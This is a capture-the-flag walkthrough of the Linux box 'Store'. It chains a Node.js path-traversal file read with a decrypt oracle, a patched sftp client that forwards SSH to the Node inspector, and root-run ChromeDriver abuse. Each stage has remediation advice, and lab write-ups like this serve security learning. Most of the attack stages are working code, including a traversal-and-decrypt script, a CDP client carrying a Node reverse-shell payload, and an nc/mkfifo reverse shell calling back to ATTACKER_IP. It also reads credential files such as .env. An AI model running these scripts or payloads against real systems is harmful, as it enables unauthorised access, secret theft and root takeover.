← all walkthroughs

Store

Linux· Hard· Privilege Escalation
owned
2026-10-15
time to own
15m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Node.js file-storage web app on ports 5000-5002 with a path-traversal file-read flaw. The files it returned were encrypted, but re-uploading that ciphertext made the app write a decrypted copy under its public /tmp route, which turned the flaw into a plaintext file read. That read showed the app ran under 'node --inspect=127.0.0.1:9229' and leaked its .env file with the password of a shell-less SFTP account.

A patched sftp client bent that SFTP login into an SSH port-forward to the loopback-only Node inspector, which accepted unauthenticated JavaScript and gave a shell as the developer account 'dev'. From that shell, a ChromeDriver service running as root on localhost:9515 was told to start my script as its 'browser' binary, which returned a root shell.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export SESSION_UUID="<a-value-you-captured-earlier>"

Some commands also carry a value in angle brackets — <name> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationNetwork and web service enumeration (T1595, T1046)
Scanned the host and identified three copies of a Node.js storage app
A port scan found SSH on 22 and three web ports (5000, 5001, 5002), all running the same Express-based 'Secure Encrypted Storage' app. The app had list, upload and file-download pages.
Open ports 22, 5000, 5001, 5002; 5000-5002/tcp fingerprinted as Node.js (Express middleware); page title 'Secure Encrypted Storage'.
Exact commands 3
shell

Express app; the other two ports serve identical copies.

$ curl -ksS -L --max-time 15 --max-redirs 5 -D - -w '\nPTEST_HTTP %{http_code} %{url_effective}\n' http://$TARGET:5000/
shell

The list page links each stored file to /file/<name>, the download route tested next.

$ curl -ksS -L --max-time 10 --max-redirs 3 http://$TARGET:5000/list
shell

Multipart upload form with the field name imageupload, used later for the decrypt step.

$ curl -ksS -L --max-time 10 --max-redirs 3 http://$TARGET:5000/upload
FixExpose a single hardened instance instead of three identical copiesLow
WeaknessThree identical app instances (5000-5002) were exposed to the network, each with the same traversal flaw, the same secrets and its own debugger.
FixRun NODE_ENV=production, expose one instance behind a reverse proxy, and bind the others to localhost or remove them. Give each instance its own secrets.
2Initial AccessPath traversal / arbitrary file read (CWE-22) and plaintext secrets in a config file (T1552.001)
Read server files through a path-traversal flaw and recovered SFTP credentials
The /file/<name> download route did not constrain the requested path, so eleven encoded '../' sequences reached any file the app could read. The response wrapped the file in a data: URI, but the bytes were encrypted. Uploading those same bytes back through /upload made the app decrypt them into /tmp/<name>, which it served as plaintext. A small script chained the two requests. It read /etc/passwd, then /proc/self/environ, which showed the working directory /home/dev/projects/store1 and the start command 'node --inspect=127.0.0.1:9229', and then the app's .env file.
Traversal to /etc/passwd returned 5593 bytes against a 567-byte miss; the decrypted environ held npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'; the .env held the sftpuser password ($PASSWORD) and an application SECRET ($SECRET).
Exact commands 5
shell

A much larger response than the miss confirms the traversal; the body is an encrypted data: URI.

$ curl -s -o /tmp/afr_passwd.txt -w 'HTTP %{http_code} size=%{size_download}\n' "http://$TARGET:5000/file/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"; echo '--- head ---'; head -c 400 /tmp/afr_passwd.txt; echo; echo '--- baseline ---'; curl -s -w ' HTTP %{http_code} size=%{size_download}\n' -o /dev/null "http://$TARGET:5000/file/nonexistent"
shell

The traversal-plus-decrypt helper: fetch the file through /file/, base64-decode the data: URI, re-upload the ciphertext as imageupload, then read the plaintext back from /tmp/<name>.

$ cat > /tmp/oracle.py <<EOF
#!/usr/bin/env python3
# Store AFR + /tmp decrypt oracle
import sys, re, base64, requests

BASE = "http://$TARGET:5000"
TRAV = "..%2F" * 11

def afr(path):
    p = path.lstrip("/").replace("/", "%2F")
    url = f"{BASE}/file/{TRAV}{p}"
    r = requests.get(url, timeout=30)
    m = re.search(r'base64,([A-Za-z0-9+/=]+)', r.text)
    if not m:
        return None, r.text[:300]
    return base64.b64decode(m.group(1)), None

def decrypt(blob, name="data.bin"):
    # re-upload the ciphertext; the app decrypts it into /tmp/<name>
    r = requests.post(f"{BASE}/upload",
                      files={"imageupload": (name, blob, "application/octet-stream")},
                      timeout=30)
    g = requests.get(f"{BASE}/tmp/{name}", timeout=30)
    return g.content

if __name__ == "__main__":
    target = sys.argv[1]
    name = sys.argv[2] if len(sys.argv) > 2 else "data.bin"
    ct, err = afr(target)
    if ct is None:
        print("[!] no base64 blob:", err)
        sys.exit(1)
    print(f"[*] ciphertext {len(ct)} bytes for {target}", file=sys.stderr)
    pt = decrypt(ct, name)
    sys.stdout.buffer.write(pt)
EOF
shell

Prints the decrypted /etc/passwd, confirming the oracle works end to end.

$ cd /tmp && python3 -I oracle.py /etc/passwd p1.bin 2>&1 | tail -30
shell

Reveals the install path and the --inspect=127.0.0.1:9229 debugger.

$ cd /tmp && echo '=== ENVIRON ===' && python3 -I oracle.py /proc/self/environ e1.bin 2>/dev/null | tr '\0' '\n' | grep -aiE 'inspect|lifecycle|PWD|npm_package|NODE' | head -20
shell

The SFTP_URL line carries the sftpuser password; bind it as $PASSWORD.

$ cd /tmp && echo '=== .env ===' && python3 -I oracle.py /home/dev/projects/store1/.env env1.bin 2>/dev/null | head -20
FixFix the path-traversal flaw and keep secrets out of readable filesCritical
WeaknessThe app's file-download route accepted '../' sequences and returned any file the service account could read. It exposed the .env file, which held the SFTP password and application secret in plaintext. The same secrets were reused across three app instances.
FixResolve the requested path and reject any result outside the upload directory (path.resolve plus a prefix check), or serve files by opaque ID instead of by name. Stop serving decrypted copies from a public /tmp route, which turns any ciphertext into plaintext. Move secrets out of the app tree into a secret store or root-owned files with tight permissions. Rotate the SFTP password and SECRET, and use a different one per instance.
3PivotingSSH/SFTP local port forwarding to reach a loopback-only service (T1572)
Turned the shell-less SFTP login into a port-forward to the Node debugger
The sftpuser password worked, but the account's shell was /bin/false, so it was only good for SFTP, and sftp passes ClearAllForwardings to the ssh process it starts. Two changes kept a forward alive: a wrapper used as sftp's -S ssh program that adds -L9229:127.0.0.1:9229, and a copy of the sftp binary with the 'AllForwardings yes' string replaced. The replacement keeps the same byte length (note the trailing space), or the patched binary would break. The SFTP session was kept open with a keepalive, and my loopback then listened on 9229, tunnelled to the target's inspector.
The patch check printed PATCH-APPLIED; my ss showed LISTEN 127.0.0.1:9229; /json/list returned a node instance for /home/dev/projects/store1/start.js with its webSocketDebuggerUrl.
Exact commands 5
shell

The ssh program sftp will launch; it adds the -L forward to the target inspector.

$ cat > /tmp/sftp_port.sh <<'EOF'
#!/bin/sh
exec ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -L9229:127.0.0.1:9229 "$@"
EOF
shell

The sed replacement keeps the original string length (note the trailing space); PATCH-APPLIED means the copy differs from /usr/bin/sftp.

$ cd /tmp && chmod +x sftp_port.sh && sed 's/AllForwardings yes/AllForwardings no /' /usr/bin/sftp > sftp.noclearforward && chmod +x sftp.noclearforward && cmp -s /usr/bin/sftp sftp.noclearforward && echo PATCH-NOT-APPLIED || echo PATCH-APPLIED
shell

Enter $PASSWORD at the prompt and leave the sftp> session open (an expect script sent 'pwd' every 20 seconds as a keepalive).

$ /tmp/sftp.noclearforward -S /tmp/sftp_port.sh -oClearAllForwardings=no sftpuser@$TARGET
shell

The local 9229 listener is the forward to the target's inspector.

$ sleep 10; ss -tnl | grep 9229
shell

Copy the id from webSocketDebuggerUrl (ws://127.0.0.1:9229/<id>) for the next step; it changes per process.

$ curl -s --max-time 10 http://127.0.0.1:9229/json/list
FixRemove the Node.js inspector from production and block SFTP-based forwardingCritical
WeaknessThe app was started with 'node --inspect', so a no-authentication debugger that runs arbitrary code sat on localhost. The shell-less SFTP account could still be used for SSH TCP forwarding, so an unauthorised user reached that loopback-only port.
FixDo not run nodemon or --inspect in production; start the app with plain 'node' under a service manager. In sshd_config, set AllowTcpForwarding no and PermitOpen none for the SFTP account (for example in a Match User block with ForceCommand internal-sftp and ChrootDirectory). Where debugging is truly needed, use an SSH tunnel from an admin account and bind the inspector only on demand.
4ExecutionUnauthenticated Node.js inspector abuse via CDP Runtime.evaluate (T1059.007)
Ran my JavaScript in the Node process through the debugger and got a shell as dev
The Node inspector has no authentication, so anyone who reaches it can evaluate code in the app's process. A dependency-free Python websocket client connected to ws://127.0.0.1:9229/<id> and sent one Chrome DevTools Protocol Runtime.evaluate call. The expression was a function that spawned /bin/sh, piped it to a TCP socket back to a listener on my VPN address, and ended with 'return /a/;' so the call returned a harmless value and the app kept running. The listener received a shell as 'dev' in the app directory.
Runtime.evaluate answered with a RegExp object '/a/' (the payload's return value); the shell returned uid=1001(dev) gid=1001(dev), host store, cwd /home/dev/projects/store1.
Exact commands 5
shell

A dependency-free websocket client that sends one Runtime.evaluate carrying the Node reverse-shell function.

$ cat > /tmp/cdp.py <<'EOF'
#!/usr/bin/env python3
"""Minimal dependency-free CDP client: Runtime.evaluate a Node reverse-shell IIFE
against the forwarded Node Inspector on 127.0.0.1:9229.

Usage: python3 /tmp/cdp.py /tmp/cdp.conf
cdp.conf lines:  uuid=<inspector uuid>
                 lhost=<listener ip>
                 lport=<listener port>
"""
import sys, os, json, socket, base64, struct, hashlib, re

cfg = {}
with open(sys.argv[1]) as fh:
    for line in fh:
        line = line.strip()
        if line and "=" in line and not line.startswith("#"):
            k, v = line.split("=", 1)
            cfg[k.strip()] = v.strip()

UUID = cfg["uuid"]
LHOST = cfg["lhost"]
LPORT = int(cfg["lport"])
HOST, PORT = "127.0.0.1", 9229

# The payload MUST end with `return /a/;` so the evaluated expression yields a
# harmless non-serializable-ish value and the inspected Node process stays alive.
PAYLOAD = """
(function(){
  var r = (typeof require === 'function')
            ? require
            : process.mainModule.require.bind(process.mainModule);
  var net = r("net"), cp = r("child_process");
  var sh = cp.spawn("/bin/sh", []);
  var c  = new net.Socket();
  c.on("error", function(){});
  c.connect(%d, "%s", function(){
     c.pipe(sh.stdin);
     sh.stdout.pipe(c);
     sh.stderr.pipe(c);
  });
  return /a/;
})();
""" % (LPORT, LHOST)


def ws_connect(s):
    key = base64.b64encode(os.urandom(16)).decode()
    req = (
        f"GET /{UUID} HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        "Upgrade: websocket\r\n"
        "Connection: Upgrade\r\n"
        f"Sec-WebSocket-Key: {key}\r\n"
        "Sec-WebSocket-Version: 13\r\n\r\n"
    )
    s.sendall(req.encode())
    buf = b""
    while b"\r\n\r\n" not in buf:
        chunk = s.recv(4096)
        if not chunk:
            raise RuntimeError("no handshake response")
        buf += chunk
    head, rest = buf.split(b"\r\n\r\n", 1)
    if b"101" not in head.split(b"\r\n")[0]:
        raise RuntimeError("handshake failed: " + head.decode(errors="replace"))
    print("[+] websocket handshake OK", file=sys.stderr)
    return rest


def send_text(s, text):
    data = text.encode()
    hdr = b"\x81"
    n = len(data)
    if n < 126:
        hdr += bytes([0x80 | n])
    elif n < 65536:
        hdr += bytes([0x80 | 126]) + struct.pack(">H", n)
    else:
        hdr += bytes([0x80 | 127]) + struct.pack(">Q", n)
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(data))
    s.sendall(hdr + mask + masked)


def recv_frame(s, buf):
    def need(n):
        nonlocal buf
        while len(buf) < n:
            chunk = s.recv(8192)
            if not chunk:
                raise RuntimeError("closed")
            buf += chunk
    need(2)
    ln = buf[1] & 0x7F
    off = 2
    if ln == 126:
        need(4); ln = struct.unpack(">H", buf[2:4])[0]; off = 4
    elif ln == 127:
        need(10); ln = struct.unpack(">Q", buf[2:10])[0]; off = 10
    need(off + ln)
    payload = buf[off:off + ln]
    return payload.decode(errors="replace"), buf[off + ln:]


s = socket.create_connection((HOST, PORT), timeout=15)
buf = ws_connect(s)

msg = {
    "id": 1,
    "method": "Runtime.evaluate",
    "params": {
        "expression": PAYLOAD,
        "includeCommandLineAPI": True,
        "returnByValue": False,
        "awaitPromise": False,
    },
}
send_text(s, json.dumps(msg))
print("[*] Runtime.evaluate sent (reverse shell -> %s:%d)" % (LHOST, LPORT), file=sys.stderr)

s.settimeout(12)
try:
    for _ in range(4):
        txt, buf = recv_frame(s, buf)
        print("[cdp] " + txt[:600])
except Exception as e:
    print("[*] no further frames (%s) - shell likely already connected" % e, file=sys.stderr)
EOF
shell

Set SESSION_UUID to the id from webSocketDebuggerUrl and start a listener on 9001 on your VPN address first.

$ cat > /tmp/cdp.conf <<EOF
uuid=$SESSION_UUID
lhost=$ATTACKER_IP
lport=9001
EOF
shell

The inspector answers with the /a/ return value and the 9001 listener receives the shell.

$ cd /tmp && python3 cdp.py cdp.conf
shell

In the caught shell: dev on host store.

$ id; hostname; pwd
uid=1001(dev) gid=1001(dev)
shell

User-level access on host store as dev.

$ cat /home/dev/user.txt
5Privilege Escalation EnumerationLocal enumeration (T1082, T1049)
Ruled out the usual escalation routes and found ChromeDriver listening on localhost
From the dev shell, sudo needed a password, the SUID list held only stock binaries, there were no useful file capabilities or writable root cron jobs, and /proc/1/cgroup showed this was not a container. The local listeners showed ChromeDriver on 127.0.0.1:9515 next to the three Node inspector ports 9229-9231, and the process list showed it running as root from /root/chromedriver.
Ss showed 127.0.0.1:9515 and node on 9229, 9230 and 9231; /status reported ChromeDriver 110.0.5481.77 ready; ps showed 'root 731 chromedriver /root/chromedriver'.
Exact commands 5
shell

No passwordless sudo.

$ sudo -n -l 2>/dev/null
shell

Only stock SUID binaries.

$ find / -perm -4000 -type f 2>/dev/null | head -60
shell

Nothing exploitable.

$ getcap -r / 2>/dev/null | head -30
shell

No writable root job.

$ cat /etc/crontab 2>/dev/null; ls -la /etc/cron.d /etc/cron.hourly 2>/dev/null
shell

ChromeDriver listens on loopback, answers without authentication and runs as root.

$ ss -tnlp 2>/dev/null | grep -E '9515|922|LISTEN' | head -20; echo '=== chromedriver status ==='; curl -s --max-time 6 http://127.0.0.1:9515/status; echo; echo '=== proc ==='; ps -eo user,pid,comm,args --no-headers | grep -iE 'chromedriver' | grep -v grep | head
FixReduce locally exposed services and separate the developer account from the hostMedium
WeaknessA developer account ran the production app on a server that also hosted privileged helper services (ChromeDriver, several debug ports). After a foothold as dev, those services gave an unauthorised user a local route to root.
FixRun production apps under dedicated service accounts, not a developer's login. Keep developer tooling off production hosts. Audit listening sockets regularly (ss -tnlp) and close or firewall anything that is not required.
6Privilege EscalationAbuse of a root-run ChromeDriver via goog:chromeOptions.binary (T1068)
Made the root-owned ChromeDriver run my own binary
ChromeDriver on 127.0.0.1:9515 was a WebDriver server running as root with no authentication. A new-session request may set 'goog:chromeOptions.binary', the program ChromeDriver starts as the browser. I wrote a fifo reverse shell to /home/dev/rev.sh and created a session pointing binary at it. ChromeDriver started the script as root, and a listener on port 9002 caught a root shell. The session request itself hangs, which is expected.
The listener on 9002 received a connection from the target; id returned uid=0(root) on host store and /usr/bin/id -u printed 0.
Exact commands 4
shell

Start a listener on 9002 on your VPN address first; the script calls back to it.

$ printf '#!/bin/sh\nrm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc '"$ATTACKER_IP"' 9002 > /tmp/f\n' > /home/dev/rev.sh; chmod 755 /home/dev/rev.sh; ls -l /home/dev/rev.sh; cat /home/dev/rev.sh
shell

ChromeDriver runs rev.sh as root; the request does not return because the 'browser' never answers.

$ curl -s --max-time 25 -X POST 'http://127.0.0.1:9515/session' -H 'Content-Type: application/json' -H 'Accept: application/json' --data-raw '{"capabilities":{"alwaysMatch":{"goog:chromeOptions":{"binary":"/home/dev/rev.sh"}}}}' | head -c 600
shell

In the 9002 shell: uid=0(root).

$ id; hostname; pwd
uid=0(root)
shell

Uid 0 on host store.

$ /usr/bin/id -u; cat /root/root.txt
FixDo not run ChromeDriver as root, and restrict who can start sessionsCritical
WeaknessChromeDriver ran as root and listened on 127.0.0.1:9515 with no authentication. Any local user could create a session whose 'goog:chromeOptions.binary' pointed at an externally controlled program, which then ran as root.
FixRun ChromeDriver and any headless-browser automation as a dedicated unprivileged account. Remove the service if it is not needed. If it is needed, start it per job instead of as a long-lived daemon, restrict access with a Unix socket or firewall rules, and never let low-privilege users reach a privileged WebDriver endpoint.

Exposed services

22/tcp
5000/tcp
5001/tcp
5002/tcp